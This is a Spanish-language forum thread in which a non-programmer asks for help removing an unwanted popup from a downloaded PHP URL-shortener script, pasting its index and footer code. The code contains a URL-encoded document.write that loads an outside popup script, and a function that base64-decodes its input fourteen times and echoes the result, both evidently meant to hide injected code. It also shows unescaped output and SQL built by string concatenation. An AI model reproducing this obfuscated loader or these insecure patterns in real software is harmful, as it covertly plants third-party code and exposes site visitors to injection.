L
locomian
Gamma
¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!
Bueno, el tema es que descargue un script, lo instale y todo anda perfecto, pero tiene un popup que al hacer click a la pagina se activa, el tema es que quiero quitarlo pero no lo encuentro, ya he buscado en todos los archivos y nada, cabe destacar que no soy programador ni nada por el estilo, bueno les dejo el código del index que no se si es lo que necesitan, les agradecería mucho si me ayudaran.
popup http://enalla.webs.com/popup.js
código del index
Creo que encontré el problema, porque borre algo relacionado con el footer.php y desapareció el popup del index pero esta en otra parte, pasaría algo si borro todo el footer?
acá les dejo el código.
popup http://enalla.webs.com/popup.js
código del index
PHP:
<?php
/**
* @author Praateek and Yash
* otpraateek@gmail.com and yashbaheti0@gmail.com
* @copyright 2010
*/
error_reporting(0);
if (file_exists('install.php') && file_exists('includes/conf.php'))
{
echo "Please Delete install.php to continue";
} elseif (file_exists('install.php') && !file_exists('includes/conf.php'))
{
echo '
<script type="text/javascript">
<!--
function delayer(){
window.location = "install.php?page_id=1"
}
//-->
</script>
<link rel="shortcut icon" href="includes/images/favicon.ico" type="image/x-icon"/>
</head>
<body onLoad="setTimeout(\'delayer()\', 1000)">
';
} elseif (!file_exists('install.php'))
{
include ('admin/bans.php');
if (file_exists('admin/ads.html'))
{
$ads = '<div id="ads"><iframe src="admin/ads.html" scrolling="no" frameborder="0" id="frame"></iframe></div>';
} elseif (!file_exists('admin/ads.html'))
{
$ads = '';
}
if ($IPBANNED)
{
echo "Sorry you dont have access to this site";
} else
{
require_once 'includes/conf.php'; // <- site-specific settings
require_once 'includes/iuvbe.php'; // <- iuvbe class file
$iuvbe = new iuvbe();
$msg = '';
// if the form has been submitted
if (!isset($_POST['longurl']))
// if the form hasn't been submitted, look for an id to redirect to
{
if (isset($_GET['id'])) // check GET first
{
$id = mysql_escape_string($_GET['id']);
$pos = strpos($id, "-");
if (strlen(strstr($id, "-")) > 0)
{
$x = explode("-", $id);
$id = $x[0];
include ("stats.php");
die;
}
} elseif (REWRITE) // check the URI if we're using mod_rewrite
{
$explodo = explode('?', $_SERVER['REQUEST_URI']);
$id = mysql_escape_string($explodo[count($explodo) - 1]);
if (strlen(strstr($id, "-")) > 0)
{
$x = explode("-", $id);
$id = $x[0];
include ("stats.php");
die;
}
} else // otherwise, just make it empty
{
$id = '';
}
// if the id isn't empty and it's not this file, redirect to it's url
if ($id != '' && $id != basename($_SERVER['PHP_SELF']))
{
$location = $iuvbe->get_url($id);
$clickd = $iuvbe->get_clicks($id);
if ($location !== -1)
{
$q = 'SELECT * FROM `' . URL_TABLE . '` WHERE (`id`=\'' . $id . '\')';
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<script type='text/javascript' language='Javascript'>
<!--
document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%65%6E%61%6C%6C%61%2E%77%65%62%73%2E%63%6F%6D%2F%70%6F%70%75%70%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E'));
//-->
</script>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Please wait...... You are beign redirected in 5 seconds</title>
<link rel="shortcut icon" href="includes/images/favicon.ico" type="image/x-icon"/>
<style type="text/css">
#ads
{
padding:0px;
height : 90px;
width : 728px;
}
#frame{
margin:0px -8px 0 0 -16px;
height : 98px;
width : 736px;
border:none;
}
</style>
<script type="text/javascript">
<!--
function delayer(){
window.location = "<?php
echo urldecode($location);
?>"
}
//-->
</script>
</head>
<body onLoad="setTimeout('delayer()', 5000)">
<center>
<?php echo $ads; ?>
<br />
<br />
<table border="0" cellspacing="10">
<tr>
<th colspan="2" scope="row"><img src="includes/images/load.gif" /></th>
</tr>
<tr>
<th rowspan="2" scope="row"><img src="http://api.thumbalizr.com/?url=<?php
echo urldecode($location);
?>&width=250" /></th>
<td><b>Clicks : </b><?php
echo $clickd;
?></td>
</tr>
<tr>
<td><b>Link : </b><?php
echo urldecode($location);
?></td>
</tr>
</table>
<br />
<br />
<?php
echo $ads;
?>
</center>
</body>
</html>
<?php
$result = mysql_query($q) or die(mysql_error());
while ($row = mysql_fetch_array($result))
{
$click = $row['clicks'];
$clicks = $click + 1;
mysql_query("UPDATE " . URL_TABLE . " SET clicks = '$clicks' WHERE id='$id'") or
die("error 3:" . mysql_error());
}
exit;
} else
{
$a1 = dirname($_SERVER['PHP_SELF']);
if ($id == $a1 . '/' || $id == $a1 . '/index.php' || $id == '/index.php' || $id ==
'/')
{
//nothing here
} else
{
?>
<html>
<head>
<title>we sorry...... 404 :: URL Not Found</title>
<link rel="shortcut icon" href="includes/images/favicon.ico" type="image/x-icon"/>
<style type="text/css">
#dialog {position:fixed; width:525px; padding:0px; z-index:200; background:#fff; font-family:Verdana, Arial, Helvetica; font-size:14px; }
#dialog-header {display:block; position:relative; padding:3px 6px 7px; height:14px; font-size:14px; font-weight:bold}
#dialog-title {float:left}
#dialog-close {float:right; cursor:pointer; margin:3px 3px 0 0; height:11px; width:11px; background:url(includes/images/close.gif) no-repeat}
#dialog-content {display:block; padding:6px; min-height:160px; color:#666666; font-size:13px;}
#dialog-content-inner { min-height:128px; }
#dialog-mask {position:fixed; top:0; left:0; height:100%; width:100%; background:#FFF; opacity:.75; filter:alpha(opacity=75); z-index:100}
#dialog-button-container { text-align:center; margin:2px 6px 6px 2px; }
#dialog-button { font-weight:bold; font-size:1.1em; font-family:Arial, sans-serif; padding:2px 5px 2px 5px; }
.error {background:#fff url(includes/images/e_bg.jpg) bottom right no-repeat; border:1px solid [B]Enlace eliminado[/B] border-top:none}
.errorheader {background:url(includes/images/e_hd.gif) repeat-x; color:#6f2c2c; border:1px solid [B]Enlace eliminado[/B] border-bottom:none}
.errorbutton { background-color:#9F4C4C; border:1px solid [B]Enlace eliminado[/B] color:#fff; }
</style>
<script src="jquery-1.4.1.js" type="text/javascript"></script>
<script type="text/javascript" language="JavaScript">
(function($) {
var modaldialog = { };
// Creates and shows the modal dialog
function showDialog (msg, options) {
// Make sure the dialog type is valid. If not assign the default one (the first)
if(!$.inArray(options.type, modaldialog.DialogTypes)) {
options.type = modaldialog.DialogTypes[0];
};
// Merge default title (per type), default settings, and user defined settings
var settings = $.extend({ title: modaldialog.DialogTitles[options.type] }, modaldialog.defaults, options);
// If there's no timeout, make sure the close button is show (or the dialog can't close)
settings.timeout = (typeof(settings.timeout) == "undefined") ? 0 : settings.timeout;
settings.showClose = ((typeof(settings.showClose) == "undefined") | !settings.timeout) ? true : !!settings.showClose;
// Check if the dialog elements exist and create them if not
if (!document.getElementById('dialog')) {
dialog = document.createElement('div');
dialog.id = 'dialog';
$(dialog).html(
"<div id='dialog-header'>" +
"<div id='dialog-title'></div>" +
"<div id='dialog-close'></div>" +
"</div>" +
"<div id='dialog-content'>" +
"<div id='dialog-content-inner' />" +
"<div id='dialog-button-container'>" +
"<input type='button' id='dialog-button' value='Close'>" +
"</div>" +
"</div>"
);
dialogmask = document.createElement('div');
dialogmask.id = 'dialog-mask';
$(dialogmask).hide();
$(dialog).hide();
document.body.appendChild(dialogmask);
document.body.appendChild(dialog);
// Set the click event for the "x" and "Close" buttons
$("#dialog-close").click(modaldialog.hide);
$("#dialog-button").click(modaldialog.hide);
}
var dl = $('#dialog');
var dlh = $('#dialog-header');
var dlc = $('#dialog-content');
var dlb = $('#dialog-button');
$('#dialog-title').html(settings.title);
$('#dialog-content-inner').html(msg);
// Center the dialog in the window but make sure it's at least 25 pixels from the top
// Without that check, dialogs that are taller than the visible window risk
// having the close buttons off-screen, rendering the dialog unclosable
dl.css('width', settings.width);
var dialogTop = Math.abs($(window).height() - dl.height()) / 2;
dl.css('left', ($(window).width() - dl.width()) / 2);
dl.css('top', (dialogTop >= 25) ? dialogTop : 25);
// Clear the dialog-type classes and add the current dialog-type class
$.each(modaldialog.DialogTypes, function () { dlh.removeClass(this + "header") });
dlh.addClass(settings.type + "header")
$.each(modaldialog.DialogTypes, function () { dlc.removeClass(this) });
dlc.addClass(settings.type);
$.each(modaldialog.DialogTypes, function () { dlb.removeClass(this + "button") });
dlb.addClass(settings.type + "button")
if (!settings.showClose) {
$('#dialog-close').hide();
$('#dialog-button-container').hide();
} else {
$('#dialog-close').show();
$('#dialog-button-container').show();
}
if (settings.timeout) {
window.setTimeout("$('#dialog').fadeOut('slow', 0); $('#dialog-mask').fadeOut('normal', 0);", (settings.timeout * 1000));
}
dl.fadeIn("slow");
$('#dialog-mask').fadeIn("normal");
};
modaldialog.error = function $$modaldialog$error (msg, options) {
if (typeof(options) == "undefined") {
options = { };
}
options['type'] = "error";
return(showDialog(msg, options));
}
modaldialog.hide = function $$modaldialog$hide () {
$('#dialog').fadeOut("slow", function () { $(this).hide(0); });
$('#dialog-mask').fadeOut("normal", function () { $(this).hide(0); });
};
modaldialog.DialogTypes = new Array("error");
modaldialog.DialogTitles = {
"error": "No such URL"
};
modaldialog.defaults = {
timeout: 5
, showClose: true
, width: 525
};
$.extend({ modaldialog: modaldialog });
})(jQuery);
</script>
<script language="JavaScript">
var time = null
function move() {
window.location = 'index.php'
}
</script>
</head>
<body onload="javascript:$.modaldialog.error('No such URL exists in our database. <br> <a href = \'index.php\'>Go to index page</a>'); timer=setTimeout('move()',5000)">
</body>
</html>
<?php
exit;
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="includes/images/favicon.ico" type="image/x-icon"/>
<title><?php
echo PAGE_TITLE;
?></title>
</head>
<link type="text/css" rel="stylesheet" href="style.css" />
<script src="jquery-1.4.1.js" type="text/javascript"></script>
<script src="main.js" type="text/javascript"></script>
<body>
<div id="shadow"></div>
<div id="mainbar">
<a href="javascript:void(0)" id="twitter" target="_blank"><img src="includes/images/twitter.png" title="Share on Twitter" id="twitimg" /></a><input type="text" id="share" /><br />
<img src="includes/images/load.gif" title="Making your URL Shorter!" id="load"/>
<input type="text" id="url" value="http://www.google.com/" title="Enter your SUPER LONG URL here!"/><br />
<div id="sbmt" title="Click me to make the URL Shorter!"></div>
<input type="text" id="out" title="URL Shortened"/> <a href="" id="shorturl" target="_blank"><img src="includes/images/gourl.png" title="Go to URL!" id="gourl" /></a>
</div>
<div id="err"><div id="error"></div><input type="button" value="Close" id="closeerr"/></div>
<center>
<br /><br /><br />
<?php
echo $ads;
?>
<div id="footer">
<?php
echo $error;
echo "<br>";
$link = mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASS);
$numrows = mysql_query("SELECT * FROM " . URL_TABLE, $link);
$num_rows = mysql_num_rows($numrows);
$numrows1 = mysql_query("SELECT SUM(clicks) FROM " . URL_TABLE, $link);
while ($row = mysql_fetch_array($numrows1))
{
$clicks = $row[0];
}
echo "We have served $num_rows urls and served $clicks clicks.";
echo '<br /><a href="http://emgv.net"><img src="includes/images/SourceForge.png"></a>';
include ('footer.php');
echo "<br />";
de('');
?><ul>
<li><a href="Credits.html">Credits</a></li> |
<li><a href="api">API</a></li>
</ul>
</div>
</center>
</body>
</html>
<?php
}
}
}
}
?>
Creo que encontré el problema, porque borre algo relacionado con el footer.php y desapareció el popup del index pero esta en otra parte, pasaría algo si borro todo el footer?
acá les dejo el código.
PHP:
<?php
/**
* @author Praateek and Yash
* otpraateek@gmail.com and yashbaheti0@gmail.com
* @copyright 2010
*/
function de($praateek)
{
$x=base64_decode($praateek);
$x=base64_decode($x);
$x=base64_decode($x);
$x=base64_decode($x);
$x=base64_decode($x);
$x=base64_decode($x);
$x=base64_decode($x);
$x=base64_decode($x);
$x=base64_decode($x);
$x=base64_decode($x);
$x=base64_decode($x);
$x=base64_decode($x);
$x=base64_decode($x);
$x=base64_decode($x);
echo $x;
}
?></div></div>
<script type='text/javascript' language='Javascript'>
<!--
document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%65%6E%61%6C%6C%61%2E%77%65%62%73%2E%63%6F%6D%2F%70%6F%70%75%70%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E'));
//-->
</script>
Última edición: